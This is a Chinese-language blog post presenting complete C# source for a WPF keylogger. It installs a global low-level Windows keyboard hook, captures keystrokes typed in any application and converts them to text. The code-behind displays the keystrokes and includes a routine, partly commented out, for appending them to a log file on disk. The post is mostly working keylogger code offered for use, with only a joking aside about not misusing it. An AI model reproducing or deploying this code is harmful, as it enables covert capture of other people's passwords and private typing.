wpf键盘记录器

很简单的一个wpf键盘记录器

wpf键盘记录器

这个程序我一样用了全局勾子,之前用的都是winform上运行了,前一段时间

在国外的论坛上逛看到了一个wpf能用的就做了一个小程序记录一下,为了方便大家直关的看我在页面上放了一个textbox,

用的时候不会这样一般都是保存到一个文本里呵呵不能做坏事

有三个主要的类

  /// <summary> 

    /// Raw keyevent handler. 

    /// </summary> 

    /// <param name="sender">sender</param> 

    /// <param name="args">raw keyevent arguments</param> 

    public delegate void RawKeyEventHandler(object sender, RawKeyEventArgs args);



    #region WINAPI Helper class



    /// <summary> 

    /// Winapi Key interception helper class. 

    /// </summary> 

    internal static class InterceptKeys

    {

        public delegate IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam);

        public static int WH_KEYBOARD_LL = 13;



        /// <summary> 

        /// Key event 

        /// </summary> 

        public enum KeyEvent : int

        {

            /// <summary> 

            /// Key down 

            /// </summary> 

            WM_KEYDOWN = 256,



            /// <summary> 

            /// Key up 

            /// </summary> 

            WM_KEYUP = 257,



            /// <summary> 

            /// System key up 

            /// </summary> 

            WM_SYSKEYUP = 261,



            /// <summary> 

            /// System key down 

            /// </summary> 

            WM_SYSKEYDOWN = 260

        }



        public static IntPtr SetHook(LowLevelKeyboardProc proc)

        {

            using (Process curProcess = Process.GetCurrentProcess())

            using (ProcessModule curModule = curProcess.MainModule)

            {

                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);

            }

        }



        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);



        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        [return: MarshalAs(UnmanagedType.Bool)]

        public static extern bool UnhookWindowsHookEx(IntPtr hhk);



        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, UIntPtr wParam, IntPtr lParam);



        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        public static extern IntPtr GetModuleHandle(string lpModuleName);



        #region Convert VKCode to string



        // Note: Sometimes single VKCode represents multiple chars, thus string. 

        // E.g. typing "^1" (notice that when pressing 1 the both characters appear, 

        // because of this behavior, "^" is called dead key) 



        [DllImport("user32.dll")]

        private static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);



        [DllImport("user32.dll")]

        private static extern bool GetKeyboardState(byte[] lpKeyState);



        [DllImport("user32.dll")]

        private static extern uint MapVirtualKeyEx(uint uCode, uint uMapType, IntPtr dwhkl);



        [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]

        private static extern IntPtr GetKeyboardLayout(uint dwLayout);



        [DllImport("User32.dll")]

        private static extern IntPtr GetForegroundWindow();



        [DllImport("User32.dll")]

        private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);



        [DllImport("user32.dll")]

        private static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach);



        [DllImport("kernel32.dll")]

        private static extern uint GetCurrentThreadId();



        private static uint lastVKCode = 0;

        private static uint lastScanCode = 0;

        private static byte[] lastKeyState = new byte[255];

        private static bool lastIsDead = false;



        /// <summary> 

        /// Convert VKCode to Unicode. 

        /// <remarks>isKeyDown is required for because of keyboard state inconsistencies!</remarks> 

        /// </summary> 

        /// <param name="VKCode">VKCode</param> 

        /// <param name="isKeyDown">Is the key down event?</param> 

        /// <returns>String representing single unicode character.</returns> 

        public static string VKCodeToString(uint VKCode, bool isKeyDown)

        {

            // ToUnicodeEx needs StringBuilder, it populates that during execution. 

            System.Text.StringBuilder sbString = new System.Text.StringBuilder(5);



            byte[] bKeyState = new byte[255];

            bool bKeyStateStatus;

            bool isDead = false;



            // Gets the current windows window handle, threadID, processID 

            IntPtr currentHWnd = GetForegroundWindow();

            uint currentProcessID;

            uint currentWindowThreadID = GetWindowThreadProcessId(currentHWnd, out currentProcessID);



            // This programs Thread ID 

            uint thisProgramThreadId = GetCurrentThreadId();



            // Attach to active thread so we can get that keyboard state 

            if (AttachThreadInput(thisProgramThreadId, currentWindowThreadID, true))

            {

                // Current state of the modifiers in keyboard 

                bKeyStateStatus = GetKeyboardState(bKeyState);



                // Detach 

                AttachThreadInput(thisProgramThreadId, currentWindowThreadID, false);

            }

            else

            {

                // Could not attach, perhaps it is this process? 

                bKeyStateStatus = GetKeyboardState(bKeyState);

            }



            // On failure we return empty string. 

            if (!bKeyStateStatus)

                return "";



            // Gets the layout of keyboard 

            IntPtr HKL = GetKeyboardLayout(currentWindowThreadID);



            // Maps the virtual keycode 

            uint lScanCode = MapVirtualKeyEx(VKCode, 0, HKL);



            // Keyboard state goes inconsistent if this is not in place. In other words, we need to call above commands in UP events also. 

            if (!isKeyDown)

                return "";



            // Converts the VKCode to unicode 

            int relevantKeyCountInBuffer = ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, sbString.Capacity, (uint)0, HKL);



            string ret = "";



            switch (relevantKeyCountInBuffer)

            {

                // Dead keys (^,`...) 

                case -1:

                    isDead = true;



                    // We must clear the buffer because ToUnicodeEx messed it up, see below. 

                    ClearKeyboardBuffer(VKCode, lScanCode, HKL);

                    break;



                case 0:

                    break;



                // Single character in buffer 

                case 1:

                    ret = sbString[0].ToString();

                    break;



                // Two or more (only two of them is relevant) 

                case 2:

                default:

                    ret = sbString.ToString().Substring(0, 2);

                    break;

            }



            // We inject the last dead key back, since ToUnicodeEx removed it. 

            // More about this peculiar behavior see e.g: 

            //   http://www.experts-exchange.com/Programming/System/Windows__Programming/Q_23453780.html 

            //   http://blogs.msdn.com/michkap/archive/2005/01/19/355870.aspx 

            //   http://blogs.msdn.com/michkap/archive/2007/10/27/5717859.aspx 

            if (lastVKCode != 0 && lastIsDead)

            {

                System.Text.StringBuilder sbTemp = new System.Text.StringBuilder(5);

                ToUnicodeEx(lastVKCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, (uint)0, HKL);

                lastVKCode = 0;



                return ret;

            }



            // Save these 

            lastScanCode = lScanCode;

            lastVKCode = VKCode;

            lastIsDead = isDead;

            lastKeyState = (byte[])bKeyState.Clone();



            return ret;

        }



        private static void ClearKeyboardBuffer(uint vk, uint sc, IntPtr hkl)

        {

            System.Text.StringBuilder sb = new System.Text.StringBuilder(10);



            int rc;

            do

            {

                byte[] lpKeyStateNull = new Byte[255];

                rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl);

            } while (rc < 0);

        }



        #endregion Convert VKCode to string

    }



    #endregion WINAPI Helper class

 

public class KeyboardListener : IDisposable

    {

        /// <summary> 

        /// Creates global keyboard listener. 

        /// </summary> 

        public KeyboardListener()

        {

            // Dispatcher thread handling the KeyDown/KeyUp events. 

            this.dispatcher = Dispatcher.CurrentDispatcher;



            // We have to store the LowLevelKeyboardProc, so that it is not garbage collected runtime 

            hookedLowLevelKeyboardProc = (InterceptKeys.LowLevelKeyboardProc)LowLevelKeyboardProc;



            // Set the hook 

            hookId = InterceptKeys.SetHook(hookedLowLevelKeyboardProc);



            // Assign the asynchronous callback event 

            hookedKeyboardCallbackAsync = new KeyboardCallbackAsync(KeyboardListener_KeyboardCallbackAsync);

        }



        private Dispatcher dispatcher;



        /// <summary> 

        /// Destroys global keyboard listener. 

        /// </summary> 

        ~KeyboardListener()

        {

            Dispose();

        }



        /// <summary> 

        /// Fired when any of the keys is pressed down. 

        /// </summary> 

        public event RawKeyEventHandler KeyDown;



        /// <summary> 

        /// Fired when any of the keys is released. 

        /// </summary> 

        public event RawKeyEventHandler KeyUp;



        #region Inner workings



        /// <summary> 

        /// Hook ID 

        /// </summary> 

        private IntPtr hookId = IntPtr.Zero;



        /// <summary> 

        /// Asynchronous callback hook. 

        /// </summary> 

        /// <param name="character">Character</param> 

        /// <param name="keyEvent">Keyboard event</param> 

        /// <param name="vkCode">VKCode</param> 

        private delegate void KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character);



        /// <summary> 

        /// Actual callback hook. 

        /// 

        /// <remarks>Calls asynchronously the asyncCallback.</remarks> 

        /// </summary> 

        /// <param name="nCode"></param> 

        /// <param name="wParam"></param> 

        /// <param name="lParam"></param> 

        /// <returns></returns> 

        [MethodImpl(MethodImplOptions.NoInlining)]

        private IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam)

        {

            string chars = "";



            if (nCode >= 0)

                if (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||

                    wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYUP ||

                    wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN ||

                    wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYUP)

                {

                    // Captures the character(s) pressed only on WM_KEYDOWN 

                    chars = InterceptKeys.VKCodeToString((uint)Marshal.ReadInt32(lParam),

                        (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||

                        wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN));



                    hookedKeyboardCallbackAsync.BeginInvoke((InterceptKeys.KeyEvent)wParam.ToUInt32(), Marshal.ReadInt32(lParam), chars, null, null);

                }



            return InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam);

        }



        /// <summary> 

        /// Event to be invoked asynchronously (BeginInvoke) each time key is pressed. 

        /// </summary> 

        private KeyboardCallbackAsync hookedKeyboardCallbackAsync;



        /// <summary> 

        /// Contains the hooked callback in runtime. 

        /// </summary> 

        private InterceptKeys.LowLevelKeyboardProc hookedLowLevelKeyboardProc;



        /// <summary> 

        /// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events. 

        /// </summary> 

        /// <param name="keyEvent">Keyboard event</param> 

        /// <param name="vkCode">VKCode</param> 

        /// <param name="character">Character as string.</param> 

        private void KeyboardListener_KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character)

        {

            switch (keyEvent)

            {

                // KeyDown events 

                case InterceptKeys.KeyEvent.WM_KEYDOWN:

                    if (KeyDown != null)

                        dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, false, character));

                    break;

                case InterceptKeys.KeyEvent.WM_SYSKEYDOWN:

                    if (KeyDown != null)

                        dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, true, character));

                    break;



                // KeyUp events 

                case InterceptKeys.KeyEvent.WM_KEYUP:

                    if (KeyUp != null)

                        dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, false, character));

                    break;

                case InterceptKeys.KeyEvent.WM_SYSKEYUP:

                    if (KeyUp != null)

                        dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, true, character));

                    break;



                default:

                    break;

            }

        }



        #endregion Inner workings



        #region IDisposable Members



        /// <summary> 

        /// Disposes the hook. 

        /// <remarks>This call is required as it calls the UnhookWindowsHookEx.</remarks> 

        /// </summary> 

        public void Dispose()

        {

            InterceptKeys.UnhookWindowsHookEx(hookId);

        }



        #endregion IDisposable Members

    }

 

 /// <summary> 

    /// Raw KeyEvent arguments. 

    /// </summary> 

    public class RawKeyEventArgs : EventArgs

    {

        /// <summary> 

        /// VKCode of the key. 

        /// </summary> 

        public int VKCode;



        /// <summary> 

        /// WPF Key of the key. 

        /// </summary> 

        public Key Key;



        /// <summary> 

        /// Is the hitted key system key. 

        /// </summary> 

        public bool IsSysKey;



        /// <summary> 

        /// Convert to string. 

        /// </summary> 

        /// <returns>Returns string representation of this key, if not possible empty string is returned.</returns> 

        public override string ToString()

        {

            return Character;

        }



        /// <summary> 

        /// Unicode character of key pressed. 

        /// </summary> 

        public string Character;



        /// <summary> 

        /// Create raw keyevent arguments. 

        /// </summary> 

        /// <param name="VKCode"></param> 

        /// <param name="isSysKey"></param> 

        /// <param name="Character">Character</param> 

        public RawKeyEventArgs(int VKCode, bool isSysKey, string Character)

        {

            this.VKCode = VKCode;

            this.IsSysKey = isSysKey;

            this.Character = Character;

            this.Key = System.Windows.Input.KeyInterop.KeyFromVirtualKey(VKCode);

        }

    }

 

codebehind

   KeyboardListener _KeyListener = new KeyboardListener();

        bool _isRuning = false;

        public MainWindow()

        {

            InitializeComponent();

            this.Loaded += Window_Loaded;

        }



        public void BeginListen(object sender, RoutedEventArgs e)

        {

            _isRuning = true;

        }

        public void StopListen(object sender, RoutedEventArgs e)

        {

            _isRuning = false;

        }



        private void Window_Loaded(object sender, RoutedEventArgs e)

        {

            _KeyListener.KeyDown += new RawKeyEventHandler(KListener_KeyDown);

        }

        StringBuilder _sb = new StringBuilder();

        private void KListener_KeyDown(object sender, RawKeyEventArgs args)

        {

            if (!_isRuning) return;

            tb_keyText.Text += args.ToString();

            //if (args.Key == Key.Enter)

            //{

            //    Write(_sb.ToString());

            //    _sb.Clear();

            //}

            //else

            //{

            //    _sb.Append(args.ToString());

            //}

            //Console.WriteLine(args.ToString());

        }



        private void Write(string keyEvents)

        {

            try

            {

                StreamWriter sw = new StreamWriter("D:/keyReport.txt", true);

                sw.WriteLine(keyEvents);

                sw.Close();



            }

            catch (Exception Exception)

            {

            }

        }

        private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e)

        {

            _KeyListener.Dispose();

        } 

 

你可能感兴趣的:(WPF)